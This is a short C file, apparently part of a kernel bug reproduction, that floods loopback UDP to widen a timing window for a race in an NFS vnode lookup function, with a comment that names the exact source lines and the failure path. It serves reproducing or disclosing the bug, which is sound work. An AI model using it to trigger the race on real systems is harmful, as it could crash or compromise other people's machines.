DF-3194 / udp_flood.c
/* udp_flood.c - DF-3194 amplifier: saturation loopback UDP traffic. * * Every loopback datagram is dispatched through the guest's netisr/ * protocol threads, which run at LWKT priorities that preempt in-kernel * user threads. Under saturation the softint/netisr work stretches into * the 100us+ range, giving exactly the mid-scan descheduling window the * nfs_nget() duplicate-validation race (sys/vfs/nfs/nfs_node.c:189-202) * needs: the preempted thread's lwkt tokens are released by lwkt_switch * (sys/kern/lwkt_thread.c:636), another CPU completes a whole nfs_nget() * creation for the same file handle, and the stale thread then takes the * vx_put(fresh VNON vnode) path at nfs_node.c:194. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main(void) { struct sockaddr_in sin; char buf[64]; int s, n = 0; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(0x7f000001); sin.sin_port = htons(9); /* discard - closed is fine too */ s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } memset(buf, 0x41, sizeof(buf)); for (;;) if (sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&sin, sizeof(sin)) > 0) n++; /* NOTREACHED */ return 0; } |